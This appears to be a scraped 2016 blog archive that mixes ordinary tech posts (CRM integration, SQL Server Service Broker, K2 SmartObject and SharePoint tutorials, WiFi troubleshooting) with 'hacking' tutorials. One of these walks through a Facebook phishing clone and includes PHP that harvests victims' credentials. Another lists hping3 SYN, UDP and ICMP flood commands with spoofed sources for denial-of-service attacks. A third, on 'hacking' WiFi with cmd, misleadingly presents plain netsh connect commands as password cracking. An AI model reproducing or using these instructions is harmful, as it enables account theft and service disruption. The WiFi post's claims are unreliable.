Tuesday, 16 August 2016

What is CRM integration?

What is CRM integration?

Whether you’re a CEO, marketing director, manager or anywhere in between, I’m sure Imageyou’ve had countless meetings on how to best manage your customers, contacts, leads and opportunities.
Customer Relationship Management (CRM) software, tied into a Marketing Automation platform, is key.
What exactly is a CRM? What types of CRMs are there? How can you integrate your CRM with your Drupal website?

What is CRM?

Every day, your team is interacting with customers and prospects. A CRM’s primary purpose is to organize, track, and manage all of your customer information, activities, and conversations. This helps your sales, marketing, and customer service teams better understand your customers. It also ensures you are delivering the right message at the right time.
In short, CRM is an application that is designed to help you and your business to organize all the data that you have on your customers.

What Types of CRMs are there?

CRM applications come in two basic varieties: software and service. Decision makers have a wide range to choose from, depending on the needs of your organization. CRM software installs on your computer or server, and the data resides there as well. With CRM software, you usually only have to pay for it once and then you have control over both the program and the data inside it. CRM services are hosted online. You will typically pay an ongoing fee to access these services, but you can access them from any computer.
Some of the more well-known CRMs are SalesforceMicrosoft Dynamics, SugarCRM, and NetSuite, as well as custom-made CRMs.

What is CRM integration?

Simply put, CRM integration is building your website and CRM to function together seamlessly. Instead of using your CRM to just be a system that retains customer information based on manual entries, integrating your website/marketing automation software brings in valuable customer information directly into your CRM.
For example, let’s say a prospect downloads your recent whitepaper from your website. This “prospect” is graded with a solid “B” (based on the grading structure you’ve put in place in your marketing automation software). If your marketing automation software is integrated with your CRM, a new record will be created and assigned to a sales person for follow-up.
In addition, your sales person will be able to pinpoint when that lead last visited your site, what they looked at, and what other information they requested.

Integrating A CRM into Your Drupal Website

Like any software you are integrating with your website, IT staffs should thoroughly think through coding issues before getting started. Participating in a live Demo and asking questions about other successful Drupal implementations is key. I would also suggest calling references provided by the CRM you’re choosing. It’s a great way find out what issues they had that you might not have thought through.
Many of the larger CRMs have modules already created to make installing a bit easier (.i.e SalesforceSugarCRM, and a suite of modules for the Drupal-based CRMs like RedHen and Civicrm).
If you are going with a less widely accepted CRM, a custom API might need to be written. That’s not necessarily a bad thing, but can be time consuming.

Conclusion

Regardless of the CRM you use, the majority of CRMs hold the same types of information and have the same types of goals:
  • Improve customer communication and retention
  • Increase company profitability
  • Enhance customer/prospect tracking

Friday, 12 August 2016

How to: Activate Service Broker Message Delivery in Databases (Transact-SQL)

SQL Server 2008 R2
By default, Service Broker message delivery is active in a database when the database is created. When message delivery is not active, messages remain in the transmission queue. To determine if Service Broker is active for a database, check the is_broker_enabled column of the sys.databases catalog view.
Security noteSecurity Note
Activating Service Broker allows messages to be delivered to the database. A Service Broker endpoint must be created to send and receive messages from outside of the instance.

To activate Service Broker in a database

  • Alter the database to set the ENABLE_BROKER option.

USE master ;
GO

ALTER DATABASE AdventureWorks2008R2 SET ENABLE_BROKER ;
GO

Building Applications with Service Broker

SQL Server 2008 R2
Any program that can run Transact-SQL statements can use Service Broker. A Service Broker application can be implemented as a program running outside of SQL Server, or as a stored procedure written in Transact-SQL or a .NET language.
A program that uses Service Broker is typically composed of a number of components working together to accomplish a task. A program that initiates a conversation creates and sends a message to another service. That program may wait for a response, or exit immediately and rely on another program to process the response. For a service that is the target of a conversation, the program receives an incoming message from the queue for the service, reads the message data, does any necessary processing, and then creates and sends a response message if appropriate.
Service Broker extends Transact-SQL. An application does not need a special object model or library to work with Service Broker. Instead, programs send Transact-SQL commands to SQL Server and process the results of those commands. An application can be activated by Service Broker, can run as a background service, can run as a scheduled job, or can be started in response to an event. For more information on strategies for starting an application that uses Service Broker, see Choosing a Startup Strategy.
For information on creating applications with Service Broker, see Benefits of Programming with Service Broker.

The following illustration shows the interaction in an application that uses Service Broker:
Relationship and flow of messages in conversationsAs shown in the illustration, the SubmitExpense, AcceptDenyExpense, and ReimbursementIssued message types are created first. The ProcessExpenses contract is created based on these message types and provides a schema for having a conversation to complete an expense reimbursement task. The ProcessExpenses contract governs all conversations between the ProcessExpense service and the SubmitExpense service. The ProcessExpenses contract and the message types that it uses must exist in the databases of all services that have conversations based on this contract.
Service Broker stores messages sent to the SubmitExpense service on the queue for that service. The ExpenseSubmission stored procedure receives messages from this queue, processes them, and sends messages to another service if a reply is necessary.
Service Broker stores messages sent to the ProcessExpense service on the queue for that service. The ExpenseProcessing stored procedure receives messages from this queue, processes them, and sends messages to another service if a reply is necessary.
A conversation between these two services would be structured as follows:
  • A user submits an expense reimbursement request through a user interface. The application runs the ExpenseSubmission stored procedure, which creates a SubmitExpense message. The SubmitExpense service starts a conversation with the ProcessExpense service, then sends the SubmitExpense message to the ProcessExpense service.
  • Service Broker receives the SubmitExpense message for the ProcessExpense service and puts the message on the ExpenseQueue queue. The ExpenseQueue queue activates the ProcessExpense stored procedure, which dequeues and processes the SubmitExpense message. The ProcessExpense stored procedure then creates an AcceptDenyExpense message and sends this message to the SubmitExpense service. If the expense is denied, the ProcessExpense stored procedure ends the conversation.
  • Service Broker puts the AcceptDenyExpense message for the SubmitExpense service on the queue for the service. If the ProcessExpense procedure ended the conversation, Service Broker puts an EndDialog message on the Expenses queue. The queue activates the ExpenseSubmission stored procedure, which dequeues and processes the AcceptDenyExpense message. If the ExpenseSubmission stored procedure finds an EndDialog message on the queue, the procedure ends the conversation.
  • If the expense was accepted, the ProcessExpense service creates and sends a ReimbursementIssued message confirming that the expense payment has been issued, and then ends the conversation. Service Broker puts these messages on the queue for the service. The queue activates the ExpenseSubmission procedure, and the procedure processes the ReimbursementIssued message. The procedure then processes the EndDialog message and ends the conversation.

The SharePoint 2013 Service Brokers

The SharePoint 2013 service brokers, SharePoint 2013 and SharePoint 2013 Integration, play a key role in the integration of K2 for SharePoint. When instances of these brokers are generated via the Registration Wizard, the authentication uses either a high-trust, server to server (S2S) token for on-premises SharePoint 2013 servers, or a standard token along with an Azure AD token for SharePoint Online (Office 365) servers.
These brokers are OAuth-capable and are setup to use OAuth during the Registration Wizard. In the following screen you see that an administrative OAuth token is generated for this site collection. It is important to note that while the K2 for SharePoint App must be added to each and every site in the site collection, the Administrative OAuth token and the actual instance of the SharePoint 2013 broker is used per site collection.
The following is not supported:
  • OAuth is the only supported Authentication Mode for the SharePoint 2013 Service Brokers. No other Service Instance Authentication Mode (e.g. Service Account, Impersonate, SSO or Static) is supported.
  • Manually registering a Service Instance of the SharePoint Broker is also not supported. Any instances of the SharePoint 2013 service broker must be generated using the K2 for SharePoint App Registration Wizard
  • The SharePoint Online ADFS configuration is not supported.

If the K2 for SharePoint App is added to a subsite of the site collection, it is added to the service instance that already exists for the site collection. The structure of the artifacts generated, such as SmartObjects, View, Forms, Workflows and Reports, follows the structure of the site collection. For example, if you have a subsite called Subsite1 that was a child of your root site, and created a subsite under Subsite1 called Subsite1-1, when you add the K2 for SharePoint app to Subsite1-1 and generate at least a data app for the Documents Llibrary on Subsite1-1, the following structure is created automatically.

To generate just a data app for the Documents Llibrary on Subsite1-1 you would go to the library, click the K2 Application button, and then make sure Data is selected. This refreshes the service instance and generates the SmartObject in the corresponding category.

You can also use the SmartObjects link from the K2 for SharePoint Settings page to generate multiple SmartObjects at a time. This is especially helpful if you need to use data from other lists and libraries on your site but do not need to create additional artifacts, such as Views, Forms, Workflows and Reports, for those lists and libraries. You can also add line of business SmartObjects using this page.
Notes:
  • The scope of the SmartObjects on this page and the Create Solution page allows you to control if the methods of the SmartObjects appear in the K2 Workflow Designer. If you do not need these SmartObjects to show up in the designer you can select None. Note that selecting This site and all of its subsites allows the SmartObject to appear when designing workflows on sites that are direct descendants of the site.
  • It is highly recommended to allow the K2 for SharePoint app tomaintain the structure of the service instance and SmartObjects. You should not need to refresh the service instance manually or move artifacts from their existing categories as they are generated.
  • The SharePoint 2013 Integration broker is not meant to be used directly for K2 solutions that originate inside SharePoint or that originate from outside of SharePoint but use SharePoint data. Use the SharePoint 2013 broker for accessing SharePoint as a line of business app.

How to create a K2 SmartObject

How does K2[blackpearl] integrate with other systems? One standard way to do this is through Web Services. And how does K2[blackpearl] integrate with Web Services? It is done through SmartObjects. So we have: K2 <-> SmartObject <-> Web Service <-> Other System


"A K2 SmartObject can encapsulate data that does not currently reside in an existing system, such as data about an employee's extracurricular activities, his or her family, or hobbies and interests. By using a SmartObject for employee information, all data about an employee is accessed in the same place, and updates are applied to the data at its source. It is important to remember that SmartObjects do not store or cache data. Once created, a SmartObject can be used and reused in a variety of ways; within K2 Designer for Visio, integrated for use in an InfoPath form, a workflow deployed via K2 Studio, in a report, in SharePoint, etc."

SmartObject is all that and also it is the link between K2 and Web Services. So let's see step by step how do we consume a Web Service method.

1. Create Web Service
First, let's create a simple web service which we will be consuming later. For the purposes of the demonstration, it will be as simple as returning you the sum of two values.

I will use Visual Studio 2008 to create a new 'ASP.NET Web Service Application' project.


Let's create the simple method 'Sum'. See screenshot below:


Of course, you should test it first:


For the curious, it returned 3 ;)

Ok, now we need to publish it somewhere in the network and make sure we can access it! Right click the solution, Publish.


'Publish' it somewhere on your local hard drive and make sure you map it in IIS to a virtual directory. You can do that by going into IIS, choose existing site (or create a new one), right click on it -> New Virtual Directory, browse to the path where you Published the service and keep clicking Next.

Let's assume you published your service to http://localhost:86/SampleService/SampleService.asmx, which in the local network (if you have one) maps to http://192.168.0.1:86/SampleService/SampleService.asmx.

We are done with the service, it's in the network, it works, it is ready to be registered as a service instance.

2. From K2 Workspace add it to Dynamic Web Service
Ok, now we have to add it to the 'Dynamic Web Services' list. Open your K2 Workspace. Go to Management -> Management Console -> Expand the servername -> SmartObjects -> Services -> Dynamic Web Service.


Click on the Add button and populate the URL field.


Click Next. In the next screen set names to something that makes sense to you and click Save. Let's call it 'Sample Service'.


You have now registered a service instance. Let's verify that by going to the K2 server and opening C:\Program Files\K2 blackpearl\ServiceBroker (or C:\Program Files (x86)\K2 blackpearl\ServiceBroker) and run BrokerManagement.exe. On the first screen, click on 'Configure Services'.
Under services -> DynamicWebService -> serviceinstances there should be an instance with a name 'SampleService'.


3. Create SmartObject
We are good to create a SmartObject around it now. Start a new instance of Visual Studio and create a new K2 SmartObject project.


The first thing you do is switch to Advanced mode.


Then Remove All methods that were created for you. We will start from scratch.


Then click on +Add and run the wizard that shows up in Advanced mode (it's a checkbox on the first page).


Name the method Sum, make it Read type.


In the next screen, Configure Method Parameters, we will add the two parameters that we have to pass to the method - intA and intB. Make them 'Number's.


At the end, it should look like this:


Click Next. On the next screen you have to select the Service Method we will be executing. This is easy. First click Add, to start adding a service method call to the SmartObject. A new popup will show. There is a field 'Service Object Method' and next to it there is a '...' button. Click on the button. It will open the Context browser. Browse through ServiceObjects Server -> Sample Service -> Sum -> Read.


Click Add in the Context Browser. You will see:


We need to map some fields now. See the 'a' and 'b' input properties? They are the web service method input parameters. We have to 'bind' them to the intA and intB fields we created for the SmartObject.

Click on the first one ('a'), click 'Assign' button and a small pop up will appear. Set 'Map to' to 'SmartObject Method Parameter' and from the second dropdown select 'intA'.


Then click ok and do the same thing for 'b', but select 'intB' instead. For 'ReturnValue' - click on it, Assign, set 'Map To' to SmartObject Property (i.e. you are storing the result in a property of the SmartObject). Then click Create.


You should end up with:

Click OK and finish the wizard.


Make sure you name your SmartObject properly.


4. Deploy
Right click the solution and do Rebuild. It should compile with no errors. Let's deploy the SmartObject to our K2 Server. Right click the project -> Deploy. Follow the wizard (Next, Finish) and your SmartObject should be deployed.

5. Test
Let's test your SmartObject. Log into the K2 server and go back to C:\Program Files (x86)\K2 blackpearl\ServiceBroker. Run the file SmartObject Service Tester.exe.

Expand the SmartObjects section, find your SampleServiceSmartObject, expand it until you see the Sum method.


Right click on it, Execute method. Populate the input fields and click 'Sum' button. Promptly, you should see the result displayed.


We just invoked the SmartObject, which talked to the WebService, retrieved result for us and was visualized in the test utility. Everything works perfectly, your SmartObject is ready to be consumed from a workflow!

6. Consume in Workflow
Create a new K2 Process Project in Visual Studio. I will reuse the K2 solution we already have and just add the new project to it.


From the Toolbox, drag and drop a new SmartObject event. On the second page, Wizard will prompt you for SmartObject Method. Browse to our Sum method in the SampleServiceSmartObject.

Click Add. It should look like this:


On the next screen, you have to provide values for the SmartObject input properties. This could be K2 DataFields from your process, or actual hardcoded sample values. For the purpose of the demo, we will just bind them to '2' and '54'. Select the property, click Assign button, set value, click ok. It should look like this:


On the next screen, we have to bind the return result to something. Let's bind it to a DataField in the process which we will create. Click on the ReturnValue, click 'Assign', in the popup click on the '...' button which will open the Context Browser. In this browser, either select already existing DataField, or create a new one on the fly (right click -> create). Make sure the field is Integer (for this demo). Select it, click 'Add', then 'Ok' in the pop up.


It should look like:


Click finish. You just finished adding a SmartObject event to your workflow. After this event is executed, you will have the value of 'a' + 'b' in the SumValue data field. I.e. you are consuming the SmartObject (and hence the Web Service).


Now you just need to finish the rest of the workflow ;)

7. Change the URL of the service
What if the address of your Web Service changes? Simple, go to the K2 server and open the C:\Program Files (x86)\K2 blackpearl\ServiceBroker folder. Run the BrokerManagement.exe app. On the first screen, click on 'Configure Services'.


Find your service instance again:

Right click on it -> Configure Service. It will open a pop up. There you can change the URL field and click Save.


And that's it, your service instance is now pointing to the right URL.

Basically that's all. Now you know how to consume web services from your K2 Workflows, utilizing SmartObjects!

Thursday, 28 July 2016

Task Notification email not working in K2

Hi There,
Developers quite often face Email configuration issue while working with K2 workflow. Mail works fine if you send it using Email event. But task notification email wont be received and if you look at the error profile got nothing available there.
K2 email event always use the exchange web services to connect the Exchange server for sending emails. But the client events use SMTP call to send the task notification email. So if your SMTP configuration is wrong then task notification mails will not work. All these configurations are stored in the K2 database. To edit and view these configuration details you need to query K2 database which is not recommended, to make it simple and flexible there is an exe file available in the K2 community download it and install it on the K2 server.
Steps to install K2 connection string editor:
1) Download the file from K2 community on the link provided below.
2) Place the exe file inside the Bin folder of Hostserver
\K2 blackpearl\Host Server\Bin
3) Run the exe file.
a window should open with Exchange Service and SMTP Server configuration details. If SMTP details is not available. Click on the add buttn, and select “SourceCode.Net.Mail.SmtpConnection”, provide the email address which should be appeared in the From Address of the Task Notification emails. Normally use K2 service Account.
Then in the Right side of the window.
Set Authentication, HostName (SMTP server name/IP address), Password, Port (25), TLS (This is used while connecting to Host- set it to None) and then provide the User ID.
After this save the information and close the exe file. Restart the K2 service and test.

Tuesday, 19 April 2016

Hack WiFi password using CMD

How to Hack Wifi password using cmd

Hello Friends, In this article we will share some tricks that can help you to hack wifi password using cmd. You can experiment these trick with your neighbors or friends. It’s not necessarily that this trick will work with every wifi because of upgraded hardware. But you can still try this crack with wifi having old modems or routers.
Also, read:
If you want to Increase your Internet speed over a shared Internet network, then head over here. You will find steps to use NetCut, a very popular and free cracking software used to cut Internet connection of users by ARP spoofing hack. It’s quite easy to crack if you follow our steps carefully. This trick will work with most of the wifi devices that have old hardware( modems and routers). For general knowledge, there are two types of wifi keys WEP and WPA. Both are explained below:

1: WEP: Wired Equivalent Privacy (WEP) is one of the widely used security key in wifi devices. It is also the oldest and most popular key and was added in 1999. WEP uses 128 bit and 256-bit encryption. With the help of this tutorial, you can easily get into 128-bit encryption and Hack WiFi password using CMD.

2: WAP and WAP2: Wi-Fi Protected Access is an another version of WiFi encryption and was first used in 2003. It uses the 256-bit encryption model and is tough to hack. WAP2 is an updated version of WAP and was introduced in 2006. Since then it has replaced WAP and is now been used mostly in offices and colleges worldwide.
Below are some steps to hack wifi password using cmd. Follow them carefully and you might get one of your neighbors passwords.

HACK WIFI PASSWORD USING CMD

Hacking a Wi-Fi device is not always easy. You have to be careful of so many steps. Otherwise, you might even get caught. For easy and secure hacking, one should use the command prompt (cmd). Cmd is one of the most used features of Windows that gives you access to almost everything on a system. If used properly, you can even get inside other remote systems. To know more about cmd hacking check out our articles here.

Steps to Hack Wifi password using cmd:

1: Open command prompt by going to start and click on run command or enter windows+r, then type cmd and hit Enter
2: In command prompt window, type
netsh wlan show network mode=bssid
hack wifi password using cmd
Hack wifi password
3: This command will show all the available WiFi network in your area
4: This is the last step. Just type:

netsh wlan connect name=(wifi name )

      netsh wlan connect name=Mynet Sata1
and you will be connected to that WiFi network.
5: To disconnect it, type
netsh wlan disconnect
There are many other methods for exploiting a wifi to get its password. You can check them here. Also, note that these tutorials are for educational purpose only. To download WiFi hacking softwares, head to the download section.
5 Tools for Hacking wireless networks that can Actually Hack


Steps to fix Common WiFi problem in Windows

Are you facing difficulties while connecting to the Internet? Is it due to your WiFi or your modem. No Problems, just read the below article to solve the most common WiFi problem.
In this article, we will discuss the most common WiFi problem that occurs in our Internet connection. These problems can be due to a bad ISP, or an ill-configured modem/router. We will discuss all those WiFi problem in details.

How to Fix the most common WiFi problem.

1: I Cannot connect to a Wifi Router?

wifi problem
wifi problem
This is one of the most common WiFI problem faced by most of us. Many times our device shows an error that it is unable to connect to WiFi router. To fix this follow the below steps:

  1. Make sure that your router is configured for Dynamic Host Configuration Protocol (DHCP). Try disabling and re-enabling the DHCP function by:
    1. Open Control Panel in Windows.
    2. Click on the Network and Sharing Center icon.
    3. In the View your active networks section, click the Local Area Connection link.
    4. In the Local Area Connection Status window, click the Properties button.
    5. Highlight the Internet Protocol Version 4 option and click the Properties button.
    6. If you want to enable DHCP, make sure Obtain an IP address automatically is selected, as well as Obtain DNS server address automatically.
  2. Enable/Disable your PC’s modem. Got to Control Panel\All Control Panel Items\Network and Sharing Center and the click on Network connections. Here you will find your Wifi modem listed. Just right click on it and then click on Disable. Wait for a few minutes and then again click on enable(by right clicking on it).
  3. It sill you are facing problems, then restart your Wifi router by unplugging the Router switch for 30 seconds. Plug it again and check your connection.

2: My WiFi is too slow.

wifi problem
wifi problem

Again it’s a headache to browse if the internet connection is too slow. Let’s Fix this now:

  1. Keep your Wifi router away from Electronic items like Microwave ovens, Cordless phones etc.
  2. Change the Wifi channel to 11. You can find this setting by logging into your Wifi modems admin panel.
  3. Disable auto updates in your system. Most of the Internet speed is eaten up by Antivirus programs, Google chrome, and Windows Updates.
  4. Lastly, buy a decent Internet package.You can’t expect a 10 MBPS speed on a 2 Mbps LINE.

3: Internet connection keeps Dropping.

Are you not getting continuous WiFi signal. Is your signal dropping now and then? This is due to the use of splitters in Wifi modem. If you have multiple splitters on an inbound cable connection (tv cables, phone cables etc.), check to see if they are -7dB splitters (will be printed on the outside of splitters). Replace the -7dB splitter that your broadband modem is connected to with a -3.5 dB splitter. Also, check whether you have a proper line of cable connection. Also, keep your WiFi router away from any electronic device.

4: Are you not getting enough WiFi signal.

wifi problem
This may also be the cause of poor internet connection. As discussed earlier, change the WiFi channel to 11. You can do this by logging into the control panel in your browser. Just enter the default Ip address in the address bar of your browser. You can find the Ip address by searching it on google with the modems manufacturer name. Some of the common Ip’s are:
  • Linksys – http://192.168.1.1
  • 3Com – http://192.168.1.1
  • D-Link – http://192.168.0.1
  • Belkin – http://192.168.2.1
  • Netgear – http://192.168.0.1.
  • Micromax – http://192.168.10.1

5: No internet connection and an exclamation mark.

This is also a common WiFi problem faced by many of us. 70% of this problem is solved by letting Microsoft Windows to fix it. Just right click on your WiFi indicator and click on Troubleshoot problems. Click next if asked and Windows will try to automatically fix it. If still, there is a problem then restart the WiFi router by unplugging the switch for 30 secs.
Is there any other situations that you are facing with your Wifi router of the network. Comment below and we will try to help you by giving a necessary fix for WiFi problems.

What is DOS attack and how to Hack using DOS

DOS Attack: DENIAL OF SERVICE ATTACK

Guys,you may have seen Mr. Robot and remember the event when Fsociety use the DDoS as a calling card to lure Elliot into helping them take down E-Corp or you may have been struck in situation when you try to open a Website  only to see a notification that Website is down. What is this? Yes, this is a DOS Attack.

A denial of service (DoS) attack is an attack that clogs up so much memory on the target system that it can not serve it’s users, or it causes the target system to crash, reboot, or otherwise deny services to legitimate users.There are several different kinds of dos attack as discussed below:-
1) Ping Of Death :- The ping of death attack sends oversized ICMP datagrams (encapsulated in IP packets) to the victim.The Ping command makes use of the ICMP echo request and echo reply messages and it’s commonly used to determine whether the remote host is alive. In a ping of death attack, however, ping causes the remote system to hang, reboot or crash. To do so the attacker uses, the ping command in conjuction with -l argument (used to specify the size of the packet sent) to ping the target system that exceeds the maximum bytes allowed by TCP/IP (65,536).
example:- c:/>ping -l 65540 hostname
Fortunately, nearly all operating systems these days are not vulnerable to the ping of death attack.
2) Teardrop Attack :- Whenever data is sent over the internet, it is broken into fragments at the source system and reassembled at the destination system. For example you need to send 3,000 bytes of data from one system to another
3) SYN – Flood Attack :- In SYN flooding attack, several SYN packets are sent to the target host, all with an invalid source IP address. When the target system receives these SYN packets, it tries to respond to each one with a SYN/ACK packet but as all the source IP addresses are invalid the target system goes into wait state for ACK message to receive from source. Eventually, due to large number of connection requests, the target systems’ memory is consumed. In order to actually affect the target system, a large number of SYN packets with invalid IP addresses must be sent.
4) Land Attack :- A land attack is similar to SYN attack, the only difference being that instead of including an invalid IP address, the SYN packet include the IP address of the target sysetm itself. As a result an infinite loop is created within the target system, which ultimately hangs and crashes.Windows NT before Service Pack 4 are vulnerable to this attack.
5) Smurf Attack :- There are 3 players in the smurf attack–the attacker,the intermediary (which can also be a victim) and the victim. In most scenarios the attacker spoofs the IP source address as the IP of the intended victim to the intermediary network broadcast address. Every host on the intermediary network replies, flooding the victim and the intermediary network with network traffic.
Result:- Performance may be degraded such that the victim, the victim and intermediary networks become congested and unusable, i.e. clogging the network and preventing legitimate users from obtaining network services.
DOS attack
6) UDP – Flood Attack :- Two UDP services: echo (which echos back any character received) and chargen (which generates character) were used in the past for network testing and are enabled by default on most systems. These services can be used to launch a DOS attack by connecting the chargen to echo ports on the same or another machine and generating large amounts of network traffic.
Distributed Denial Of Service (DDoS) :- In Distributed DoS attack, there are 100 or more different attackers (systems) attacking the single system. Due to higher number of attackers DDoS attack is more effective and dangerous than regular DoS attack. The attackers have control over master zombies, which, in turn, have control over slave zombies, as shown in figure.
No system connected to the internet is safe from DDoS attacks. All platforms, including Unix and Windows NT, are vulnerable to such attacks. Even Mac OS machines have been used to conduct DDoS attacks.

The most popular DDoS and dos attack tools are:-

a) Trin00 (WinTrinoo)
b) Tribe Flood Network (TFN) (TFN2k)
c) Shaft
d) LOIC(LOW ORBIT ION CANNON)
e) XOIC
No softwares, you wanna try it yourself, you can use HPING(comes preinstalled in KALI LINUX).
OR

Steps to hack using DOS attack:

Open the console and go to the path of hping3 and give the following command.
hping3 –rand-source –S –L 0 –p <target port> <target IP>
Here we are sending SYN packets (set value by replacing 0) with a random source.
hping3 –rand-source –SA –p <open port> <target IP>
Here we are sending SYN + ACK packets from a random source.
hping3 –rand-source -–udp <target IP> –flood
Flooding the target IP with UDP packets.
hping3 –rand-source –SAFRU –L 0 –M 0 –p <port> <target> –flood
In this command, we are sending SYN+ACK+FIN+RST+URG packets with TCP ack (-L) and TCP seq (-M). Change the values after -L and -M.
hping3 –icmp –spoof –flood
Flooding with ICMP packets by spoofed IP (–spoof).

WARNING: IT IS ILLEGAL TO DOS attack A COMPUTER NETWORK NOT OWNED BY YOU. TRY IT IN YOUR OWN NETWORK ONLY.


How to hack facebook password instantly using Phishing

How to hack facebook password instantly?

So you may be wondering if it is possible to hack Facebook account or not. We all know that Facebook has a very tight security system. Hence, it is almost impossible to directly hack Facebook account. Therefore, we will introduce you to an indirect method for how to hack facebook password instantly. This method is known as Phishing.
Phishing is a hacking method in which one creates a fake website to lure the victim into entering his/her Username and password. Therefore, the user has to create a genuine looking fake website to fool his victim. Hence, this fake website steals the login information of the victims.
Phishing is used by most of the hackers to steal personal information. Also, phishing is a very accurate and successful tool of hacking. Hence, you can easily rely on the working of this method.

How will Phishing work?

First of all, you have to create a website that looks genuine as of Facebook. Note that this fake website will actually redirect the victim to the original Facebook website. Now you have to send the link to your victim so that he can use the fake website and login in it. To store the Login information you have to access a web host server.
Below you will find important steps that will help you for “how to hack facebook password instantly” using Phishing.

How to hack facebook password instantly using Phishing:

view Facebook private Profile Photo hack facebook password instantly
hack facebook password instantly

To create a fake website, you need a Web host and a website. Hence, we will create a website and add it to our host provider. To do so you will have to register at “www.000webhost.com” since it is a free website provider. You may also choose any other website. Go to this website and create your account. After creating the account, choose the desired name for the website and confirm it. Let say that we created a website named www.xyzhacking.com
Now visit www.facebook.com and go to its Login page. Right click on the browser and choose “view page source”. You will get the source code for that login page. Copy it temporarily in notepad.
Now visit the website of Notepad++ here. Download the software named as Notepad++. This software will help you to convert the source code to a fake website. After installing Notepad++,open it and paste the copied source code files.

Search for the word “action” to find the below line:

<form id=”login_form” action=”https://www.facebook.com/login.php?login_attempt=1” method=”post” onsubmit=”return window.Event &amp;&amp; Event.__inlineSubmit &amp;&amp; Event.__inlineSubmit(this,event)”>

Replace the above link in BOLD letters with http://xyzhacking.com/mail.php. Change “xyzhacking” with the name of your newly created website. Now save this file as index.php.

Now you will have to create another file named mail.php. Below is the code to create this file. Just copy it and paste it in notepad++ ,then save it with the name “mail.php”. Replace all the links with the name of your website. This file will save all the credentials entered by the victim.

<?php header (‘Location: http://visititsoon.comlu.com/index.html’); $posts = ‘http://visititsoon.comlu.com/index.html’;
foreach($_POST as $k => $v){
$posts .= ‘$_POST[‘.$k.’] = ‘.$v.”\n”;
}
$posts .= “——————————————\n”;
$emailto = ”;
$from = “”;
$body = ‘ ‘.
$posts.’ ‘;
@mail($emailto, $subject, $body, $from);
$handle = @fopen(“pass.txt”, “a+”);
@fwrite($handle, $posts);
fclose($handle);
?>
Now you are ready with both the files index.php and mail.php. You can easily attack your victim with fake website and hack facebook password instantly. Now upload these files to your website host. Check this video for more information.



Now you are ready with a fake Facebook website. When the target will enter his information, it will be saved at mail.php file. But getting the target to click on your fake Facebook page is a tough task. Hence, you will have to lure him into clicking on the fake link.

You can see the username and password by going to your hosting provider File manager and checking for a pass.php file. If it is not there, then you can check your mail.php file too.

hack facebook password instantly
hack facebook password instantly
NOTE: Phishing is a crime and can lead you to spend your rest of the life in Jail. Hence, proceed with precaution. This article about how to hack facebook password instantly is for educational purpose only. To let the users know the harmful effects of hacking. Also, browse our Downloads section for more hacking software.

New and improved features in SharePoint Server 2016

The following table provides a summary of the new features that you can try out in this SharePoint Server 2016 release.

 

Feature Description More information
Access Services
New Access features are available when you deploy Access Services in SharePoint Server 2016 .
For more information, see Access Services.
Compliance features
New compliance features for SharePoint Server 2016 include the document deletion and in-place hold policies.
For more information, see Compliance features.
Customized web parts
The compile time for customized XSLT files used for Content Query, Summary Links, and Table of Contents Web Parts is improved.
NA
Document Library accessibility
SharePoint Server 2016 includes new document library accessibility features.
For more information, see Document Library accessibility.
Durable links
Resource-based URLs now retain links when documents are renamed or moved in SharePoint.
NA
Encrypted Connections
SharePoint Server 2016 supports TLS 1.2 connection encryption by default.
For more information, see Encrypted Connections.
Fast Site Collection Creation
The Fast Site Collection Creation feature is a rapid method to create site collections and sites in SharePoint.
For more information, see Fast Site Collection Creation.
Filenames - expanded support for special characters
SharePoint Server 2016 now supports using some special characters in file names that were blocked in previous versions.
For more information, see Filenames.
Hybrid in SharePoint 2016
Hybrid in SharePoint Server 2016 enables you to integrate your on-premises farm with Office 365 productivity experiences, allowing you to adopt the cloud at your own pace.
For more information, see Hybrid in SharePoint 2016.
Identify and search for sensitive content
SharePoint Server 2016 now provides the same data loss prevention capabilities as Office 365.
For more information, see Identify and search for sensitive content in both SharePoint 2016 and OneDrive documents.
Image and video previews
You can now preview images and videos in SharePoint Server 2016 document libraries.
For more information, see Image and Video previews.
Information Rights Management
SharePoint Server 2016 provides Information Rights Management (IRM) capabilities to secure information by encrypting and securing information on SharePoint libraries with OneDrive for Business.
For more information, see Information Rights Management.
Large file support
SharePoint Server 2016 now supports uploading and downloading files larger than 2,047 MB.
For more information, see Large file support.
MinRole
MinRole is a new feature in SharePoint Server 2016 that allows a SharePoint farm administrator to define each server’s role in a farm topology.
For more information, see MinRole farm topology.
Mobile experience
SharePoint Server 2016 offers an improved mobile navigation experience.
For more information, see Mobile experience.
New controls for working with OneDrive for Business
SharePoint Server 2016 provides controls at the top of your personal document folders that make common tasks in OneDrive for Business more accessible.
For more information, see New controls for working with OneDrive for Business.
New Recycle Bin in OneDrive and Team sites
SharePoint Server 2016 adds a link for the Recycle Bin in the left navigation area of the OneDrive and Team sites.
NA
Open Document Format (ODF)
SharePoint Server 2016 adds support for Open Document Format (ODF) files to use in document library templates.
For more information, see Open Document Format (ODF) available for document libraries.
Project Server
New Project Server features are available in SharePoint Server 2016.
For more information, see Project Server.
ReFS file system support
SharePoint Server 2016 now supports drives that are formatted with the ReFS file system.
For more information about the ReFS file system, see Resilient File System Overview and Resilient file system.
SharePoint business intelligence
SharePoint Server 2016 now supports SQL Server 2016 CTP 3.1 and the Power Pivot add-in and Power View.
For more information about SharePoint business intelligence, see Power Pivot add-in and Power View are now available to use with SharePoint Server 2016 Beta 2.
SharePoint Search
SharePoint Search Server Application has significant changes to its deployment.
For more information, see SharePoint Search Server Application.
Sharing improvements
SharePoint Server 2016 has many new sharing improvements available.
For more information, see Sharing improvements.
Site Folders view
SharePoint Server 2016 provides a new Site Folders view that lets you access the document libraries in sites that you're following.
For more information, see Site Folders view.
Sites page pinning
This new feature helps you see and follow sites.
For more information, see Sites page pinning.
SMTP Connection Encryption
SharePoint Server 2016 supports sending email to SMTP servers that use STARTTLS connection encryption.
For more information, see SMTP Connection Encryption.
SMTP ports (non-default)
SharePoint Server 2016 adds support for SMTP servers that use TCP ports other than the default port (25).
For more information, see Use SMTP ports other than the default (25).
Web Application Open Platform Interface Protocol (WOPI)
You can now rename files, create new files, and share files from within the WOPI iframe on the browser page.
NA

This section provides detailed descriptions of the new and updated features in SharePoint Server 2016.

The following new Access features are available when you deploy Access Services in SharePoint 2016:

SharePoint Server 2016 Central Administration is now provisioned on the first server in a farm by default when using the SharePoint Products Configuration Wizard. Central Administration is not provisioned on additional servers in a farm by default.
You can provision or unprovision Central Administration on individual servers in a farm, no matter what the server role is by using the following methods:
NoteNote:
